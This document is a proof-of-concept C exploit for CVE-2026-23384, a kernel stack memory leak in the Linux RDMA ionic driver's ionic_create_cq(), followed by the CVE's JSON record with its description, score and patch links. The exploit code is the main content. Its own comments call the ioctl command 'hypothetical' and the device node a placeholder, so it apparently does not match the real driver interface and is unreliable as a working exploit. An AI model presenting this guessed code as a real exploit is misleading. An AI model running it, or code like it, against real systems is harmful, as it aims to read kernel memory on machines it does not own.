CVE-2026-23384

/* * PoC for CVE-2026-23384: Kernel Stack Leak in ionic_create_cq * This code demonstrates how to trigger the vulnerability by interacting * with the vulnerable driver to leak uninitialized kernel stack memory. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Hypothetical command definition based on vulnerability context #define IONIC_CREATE_CQ _IOWR('R', 0x1, struct ionic_cq_resp) struct ionic_cq_resp { __u32 cqid[2]; __u8 udma_mask; __u8 rsvd[7]; // The vulnerable field leaking 7 bytes }; int main() { int fd = -1; struct ionic_cq_resp resp; printf("[+] Attempting to open RDMA device...\n"); // In a real scenario, this would be the actual device node fd = open("/dev/ionic_rdma", O_RDWR); if (fd < 0) { perror("[-] Failed to open device (Driver not loaded or permissions denied)"); return 1; } // Clear the response structure to easily identify leaked non-zero bytes memset(&resp, 0, sizeof(resp)); printf("[+] Triggering ionic_create_cq via ioctl...\n"); // This ioctl call triggers the vulnerable kernel path if (ioctl(fd, IONIC_CREATE_CQ, &resp) < 0) { perror("[-] IOCTL failed"); close(fd); return 1; } printf("[+] Checking response for kernel memory leaks...\n"); int leaked = 0; // Check the reserved field for non-zero bytes for (int i = 0; i < 7; i++) { if (resp.rsvd[i] != 0) { printf("[!] Leak detected in rsvd[%d]: 0x%02x\n", i, resp.rsvd[i]); leaked = 1; } } // Check cqid[1] which might be uninitialized depending on udma_mask if (resp.cqid[1] != 0) { printf("[!] Leak detected in cqid[1]: 0x%08x\n", resp.cqid[1]); leaked = 1; } if (!leaked) { printf("[-] No obvious leaks detected (might be patched or memory was zeroed).\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-23384", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:38.633", "lastModified": "2026-04-24T18:42:33.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/ionic: Fix kernel stack leak in ionic_create_cq()\n\nstruct ionic_cq_resp resp {\n __u32 cqid[2]; // offset 0 - PARTIALLY SET (see below)\n __u8 udma_mask; // offset 8 - SET (resp.udma_mask = vcq->udma_mask)\n __u8 rsvd[7]; // offset 9 - NEVER SET <- LEAK\n};\n\nrsvd[7]: 7 bytes of stack memory leaked unconditionally.\n\ncqid[2]: The loop at line 1256 iterates over udma_idx but skips indices\nwhere !(vcq->udma_mask & BIT(udma_idx)). The array has 2 entries but\nudma_count could be 1, meaning cqid[1] might never be written via\nionic_create_cq_common(). If udma_mask only has bit 0 set, cqid[1] (4\nbytes) is also leaked. So potentially 11 bytes leaked."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nRDMA/ionic: Corrección de fuga de pila del kernel en ionic_create_cq()\n\nstruct ionic_cq_resp resp {\n __u32 cqid[2]; // offset 0 - PARCIALMENTE ESTABLECIDO (ver abajo)\n __u8 udma_mask; // offset 8 - ESTABLECIDO (resp.udma_mask = vcq-&gt;udma_mask)\n __u8 rsvd[7]; // offset 9 - NUNCA ESTABLECIDO &lt;- FUGA\n};\n\nrsvd[7]: 7 bytes de memoria de pila fugados incondicionalmente.\n\ncqid[2]: El bucle en la línea 1256 itera sobre udma_idx pero omite los índices donde !(vcq-&gt;udma_mask &amp; BIT(udma_idx)). El array tiene 2 entradas pero udma_count podría ser 1, lo que significa que cqid[1] podría nunca ser escrito a través de ionic_create_cq_common(). Si udma_mask solo tiene el bit 0 establecido, cqid[1] (4 bytes) también se fuga. Así que potencialmente 11 bytes fugados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "07E9D8CD-82F0-4CC6-8038-BF71758D583C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/547d0b07ad73915b323bc21f85c5d3252bebbbcf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a6f3e0fa8e862f220c26c2f27e5ddc42eb82ad3e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/faa72102b178c7ae6c6afea23879e7c84fc59b4e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}